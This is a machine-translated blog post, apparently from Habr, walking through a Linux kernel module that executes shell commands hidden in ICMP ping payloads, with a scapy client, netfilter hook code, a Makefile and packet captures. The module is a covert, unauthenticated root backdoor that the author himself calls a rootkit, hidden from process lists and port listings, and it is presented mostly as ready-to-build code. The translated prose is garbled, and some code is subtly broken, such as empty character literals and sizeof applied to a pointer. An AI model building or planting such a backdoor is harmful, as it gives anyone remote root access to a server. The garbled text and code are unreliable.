Chipolopolo cha nyukiliya pamwamba pa ICMP

Chipolopolo cha nyukiliya pamwamba pa ICMP

TL; DR: Ndikulemba kernel module yomwe idzawerenge malamulo kuchokera ku ICMP payload ndikuwapereka pa seva ngakhale SSH yanu itawonongeka. Kwa osaleza mtima kwambiri, code yonse ndi github.

Chenjezo Odziwa kupanga mapulogalamu a C ali pachiwopsezo cha kutulutsa misozi yamagazi! Ndikhoza kulakwitsa mu mawu, koma kutsutsa kulikonse ndikovomerezeka. Cholembacho chimapangidwira iwo omwe ali ndi lingaliro lovuta kwambiri la C mapulogalamu ndipo akufuna kuyang'ana mkati mwa Linux.

Mu ndemanga yanga yoyamba nkhani adatchulapo SoftEther VPN, yomwe imatha kutsanzira ma protocol ena "okhazikika", makamaka HTTPS, ICMP komanso DNS. Nditha kuganiza woyamba wa iwo akugwira ntchito, popeza ndimadziwa bwino HTTP(S), ndipo ndidaphunzira kuwongolera ICMP ndi DNS.

Chipolopolo cha nyukiliya pamwamba pa ICMP

Inde, mu 2020 ndidaphunzira kuti mutha kuyika zolipira mopanda malire m'mapaketi a ICMP. Koma mochedwa kuposa kale! Ndipo popeza kuti chinachake chikhoza kuchitidwa pa icho, ndiye chiyenera kuchitidwa. Popeza m'moyo wanga watsiku ndi tsiku nthawi zambiri ndimagwiritsa ntchito mzere wolamula, kuphatikiza kudzera pa SSH, lingaliro la chipolopolo cha ICMP lidabwera m'maganizo mwanga poyamba. Ndipo kuti ndisonkhanitse bingo yathunthu ya bullshield, ndidaganiza zoilemba ngati gawo la Linux mchilankhulo chomwe ndimangokhala nacho. Chipolopolo chotere sichidzawoneka pamndandanda wazinthu, mutha kuyiyika mu kernel ndipo sichikhala pamafayilo, simudzawona chilichonse chokayikitsa pamndandanda wamadoko omvera. Pankhani ya kuthekera kwake, iyi ndi rootkit yodzaza, koma ndikuyembekeza kuyisintha ndikuigwiritsa ntchito ngati chipolopolo chomaliza pamene Mulingo Wapakati uli wapamwamba kwambiri kuti ulowe kudzera pa SSH ndikuchita osachepera. echo i > /proc/sysrq-triggerkubwezeretsa mwayi popanda kuyambiranso.

Timatenga mkonzi wamakalata, maluso oyambira ku Python ndi C, Google ndi pafupifupi zomwe simusamala kuziyika pansi pa mpeni ngati zonse zitasweka (posankha - VirtualBox / KVM / etc) ndipo tiyeni tizipita!

Mbali ya kasitomala

Zikuwoneka kwa ine kuti kwa gawo la kasitomala ndiyenera kulemba script yokhala ndi mizere pafupifupi 80, koma panali anthu okoma mtima omwe adandichitira izi. ntchito zonse. Khodiyo idakhala yosavuta mosayembekezereka, yokwanira mizere 10 yofunika:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Usage: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

Script imatenga zifukwa ziwiri, adiresi ndi malipiro. Asanatumize, malipiro amatsogoleredwa ndi kiyi run:, tidzayifuna kuti isakhale ndi mapaketi okhala ndi zolipira mwachisawawa.

Kernel imafuna mwayi wopanga mapaketi, chifukwa chake script iyenera kuyendetsedwa ngati superuser. Musaiwale kupereka zilolezo ndikuyika scapy yokha. Debian ali ndi phukusi lotchedwa python3-scapy. Tsopano mutha kuwona momwe zonse zimagwirira ntchito.

Kuthamanga ndi kutulutsa lamulo
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!

Izi ndi momwe zimawonekera mu sniffer
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 1] [Response time: 19.094 ms] Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

^C2 packets captured

Malipiro mu phukusi la mayankho sasintha.

Kernel module

Kuti mupange makina enieni a Debian mudzafunika osachepera make ΠΈ linux-headers-amd64, ena onse adzabwera ngati odalira. Sindipereka nambala yonse m'nkhaniyi; mutha kuyipanga pa Github.

Kupanga mbedza

Poyamba, timafunikira ntchito ziwiri kuti tiyike moduli ndikuyitsitsa. Ntchito yotsitsa sikufunika, koma ndiye rmmod sichigwira ntchito; gawoli lidzatsitsidwa pokhapokha litazimitsidwa.

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

Zomwe zikuchitika apa:

  1. Mafayilo awiri amutu amakokedwa kuti agwiritse ntchito moduli yokha ndi netfilter.
  2. Ntchito zonse zimadutsa mu netfilter, mutha kuyikamo mbedza. Kuti muchite izi, muyenera kulengeza dongosolo lomwe mbedza idzakonzedweratu. Chofunikira kwambiri ndikutchula ntchito yomwe idzachitike ngati mbedza: nfho.hook = icmp_cmd_executor; Ndifika kuntchito yokhayo pambuyo pake.
    Kenako ndinakhazikitsa nthawi yokonza phukusi: NF_INET_PRE_ROUTING imafotokoza za kukonza phukusili likayamba kuwonekera mu kernel. Angagwiritsidwe ntchito NF_INET_POST_ROUTING kukonza paketi pamene ikutuluka mu kernel.
    Ndinayika fyuluta ku IPv4: nfho.pf = PF_INET;.
    Ndimayika mbedza yanga patsogolo kwambiri: nfho.priority = NF_IP_PRI_FIRST;
    Ndipo ndimalembetsa dongosolo la data ngati mbedza: nf_register_net_hook(&init_net, &nfho);
  3. Ntchito yomaliza imachotsa mbedza.
  4. Layisensi imasonyezedwa bwino kuti wolembayo asadandaule.
  5. Ntchito module_init() ΠΈ module_exit() khazikitsani ntchito zina kuti muyambitse ndikuyimitsa gawolo.

Kubweza katunduyo

Tsopano tikufunika kuchotsa zolipira, iyi idakhala ntchito yovuta kwambiri. Kernel ilibe ntchito zomangira zogwirira ntchito ndi zolemetsa; mutha kungoyang'ana mitu yama protocol apamwamba kwambiri.

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == '')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = '';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == '')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

Chikuchitikandi chiyani:

  1. Ndinayenera kuphatikiza mafayilo owonjezera apamutu, nthawi ino kuti ndisinthe mitu ya IP ndi ICMP.
  2. Ndakhazikitsa kutalika kwa mzere: #define MAX_CMD_LEN 1976. Chifukwa chiyani kwenikweni? Chifukwa wolemba akudandaula za izo! Adandiwuza kale kuti ndiyenera kumvetsetsa phula ndi muluwu, tsiku lina ndidzachita izi ndipo mwina ndikuwongolera code. Nthawi yomweyo ndinayika mzere womwe ukhala ndi lamulo: char cmd_string[MAX_CMD_LEN];. Iyenera kuwoneka muzochita zonse; Ndilankhula za izi mwatsatanetsatane mundime 9.
  3. Tsopano tikuyenera kuyambitsa (struct work_struct my_work;) kupanga ndikugwirizanitsa ndi ntchito ina (DECLARE_WORK(my_work, work_handler);). Ndilankhulanso chifukwa chake izi zili zofunika m'ndime yachisanu ndi chinayi.
  4. Tsopano ndikulengeza ntchito, yomwe idzakhala mbedza. Mitundu ndi mikangano yovomerezeka imayendetsedwa ndi netfilter, timangofuna skb. Ichi ndi socket buffer, dongosolo lofunikira la data lomwe lili ndi zonse zomwe zilipo za paketi.
  5. Kuti ntchitoyi igwire ntchito, mufunika zida ziwiri ndi mitundu ingapo, kuphatikiza awiri obwereza.
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. Tikhoza kuyamba ndi logic. Kuti gawoli ligwire ntchito, palibe mapaketi ena kupatula ICMP Echo omwe amafunikira, chifukwa chake timayika buffer pogwiritsa ntchito zida zomangira ndikutaya mapaketi onse omwe si a ICMP ndi omwe si a Echo. Bwererani NF_ACCEPT zikutanthauza kuvomereza phukusi, koma mukhoza kusiya phukusi pobwerera NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    Sindinayese zomwe zingachitike popanda kuyang'ana mitu ya IP. Kudziwa kwanga kochepa pa C kumandiuza kuti popanda macheke owonjezera, china chake choyipa chiyenera kuchitika. Ndikhala wokondwa mukandiletsa izi!

  7. Tsopano kuti phukusili ndi la mtundu womwe mukufuna, mutha kuchotsa deta. Popanda ntchito yomangidwa, choyamba muyenera kupeza cholozera kumayambiriro kwa malipiro. Izi zachitika pamalo amodzi, muyenera kutenga cholozera kumayambiriro kwa mutu wa ICMP ndikusunthira ku kukula kwa mutuwu. Chilichonse chimagwiritsa ntchito kapangidwe icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    Mapeto a mutu ayenera kufanana ndi mapeto a malipiro apakati skb, chifukwa chake timachipeza pogwiritsa ntchito zida za nyukiliya kuchokera kumapangidwe ofanana: tail = skb_tail_pointer(skb);.

    Chipolopolo cha nyukiliya pamwamba pa ICMP

    Chithunzicho chinabedwa kuchokera pano, mutha kuwerenga zambiri za socket buffer.

  8. Mukakhala ndi zolozera kumayambiriro ndi kumapeto, mukhoza kukopera deta mu chingwe cmd_string, yang'anani kukhalapo kwa mawu oyamba run: ndi, mwina kutaya phukusi ngati palibe, kapena lembaninso mzere kachiwiri, kuchotsa prefix.
  9. Ndi momwemo, tsopano mutha kuyimbira wothandizira wina: schedule_work(&my_work);. Popeza sizingatheke kupititsa parameter ku foni yotere, mzere wokhala ndi lamulo uyenera kukhala wapadziko lonse lapansi. schedule_work() idzayika ntchito yolumikizidwa ndi dongosolo lomwe ladutsa pamzere wanthawi zonse wa okonza ntchito ndikumaliza, kukulolani kuti musadikire kuti lamulo limalize. Izi ndizofunikira chifukwa mbedza iyenera kukhala yothamanga kwambiri. Kupanda kutero, kusankha kwanu ndikuti palibe chomwe chidzayambike kapena mudzapeza mantha a kernel. Kuchedwa kuli ngati imfa!
  10. Ndi zimenezo, mukhoza kuvomereza phukusi ndi kubwerera lolingana.

Kuyimbira pulogalamu mumalo ogwiritsira ntchito

Ntchitoyi ndi yomveka kwambiri. Dzina lake linaperekedwa DECLARE_WORK(), mtundu ndi mikangano yovomerezedwa sizosangalatsa. Timatenga mzere ndi lamulo ndikuupereka kwathunthu ku chipolopolo. Muloleni athane ndi kugawa, kufunafuna ma binaries ndi china chilichonse.

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. Khazikitsani mfundozo kukhala zingwe zingapo argv[]. Ndikuganiza kuti aliyense akudziwa kuti mapulogalamu amachitidwa motere, osati ngati mzere wopitilira ndi malo.
  2. Khazikitsani zosintha zachilengedwe. Ndinayika PATH yokha ndi njira zochepa, ndikuyembekeza kuti zonse zidaphatikizidwa kale /bin с /usr/bin и /sbin с /usr/sbin. Njira zina sizikhala zofunikira kwenikweni.
  3. Zatha, tiyeni tichite! Kernel ntchito call_usermodehelper() amavomereza kulowa. njira yopita ku binary, mikangano yambiri, mitundu yosiyanasiyana ya chilengedwe. Pano ndikuganiza kuti aliyense amamvetsetsa tanthauzo la kudutsa njira yopita ku fayilo yomwe ingathe kuchitidwa ngati mkangano wosiyana, koma mukhoza kufunsa. Mtsutso womaliza umanena za kudikirira kuti ntchitoyi ithe (UMH_WAIT_PROC), ndondomeko imayamba (UMH_WAIT_EXEC) kapena osadikira konse (UMH_NO_WAIT). Pali zinanso UMH_KILLABLE, sindinayang'ane nazo.

Msonkhano

Kuphatikiza kwa ma module a kernel kumachitika kudzera mu kernel make-framework. Wayitanitsidwa make mkati mwa chikwatu chapadera chomangiriridwa ku mtundu wa kernel (tanthauzo apa: KERNELDIR:=/lib/modules/$(shell uname -r)/build), ndipo malo a module amaperekedwa ku variable M mu mikangano. icmpshell.ko ndi zolinga zoyera zimagwiritsa ntchito chimango ichi kwathunthu. MU obj-m ikuwonetsa fayilo ya chinthu chomwe chidzasinthidwa kukhala module. Syntax yomwe imayambiranso main.o Π² icmpshell.o (icmpshell-objs = main.o) sizikuwoneka zomveka kwa ine, koma zikhale choncho.

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

Timasonkhanitsa: make. Kutsegula: insmod icmpshell.ko. Mwamaliza, mutha kuyang'ana: sudo ./send.py 45.11.26.232 "date > /tmp/test". Ngati muli ndi fayilo pamakina anu /tmp/test ndipo ili ndi tsiku lomwe pempholo linatumizidwa, zomwe zikutanthauza kuti munachita zonse bwino ndipo ndachita zonse moyenera.

Pomaliza

Chochitika changa choyamba ndi chitukuko cha nyukiliya chinali chosavuta kuposa momwe ndimayembekezera. Ngakhale popanda chidziwitso chomwe chikukula mu C, kuyang'ana pa malingaliro ophatikiza ndi zotsatira za Google, ndinatha kulemba gawo logwira ntchito ndikumva ngati wowononga kernel, komanso nthawi yomweyo mwana wa script. Kuphatikiza apo, ndinapita ku tchanelo cha Kernel Newbies, komwe adandiuza kuti ndigwiritse ntchito schedule_work() m'malo moyitana call_usermodehelper() mkati mbedza palokha ndi manyazi iye, moyenerera kukayikira chinyengo. Mizere zana yamakhodi idanditengera pafupifupi sabata yachitukuko munthawi yanga yaulere. Chochitika chochita bwino chomwe chidawononga nthano yanga yapanthawi yovutirapo ya chitukuko cha dongosolo.

Ngati wina avomereza kubwereza kachidindo pa Github, ndidzakhala wokondwa. Ndine wotsimikiza kuti ndinapanga zolakwika zambiri zopusa, makamaka pogwira ntchito ndi zingwe.

Chipolopolo cha nyukiliya pamwamba pa ICMP

Source: www.habr.com

Kuwonjezera ndemanga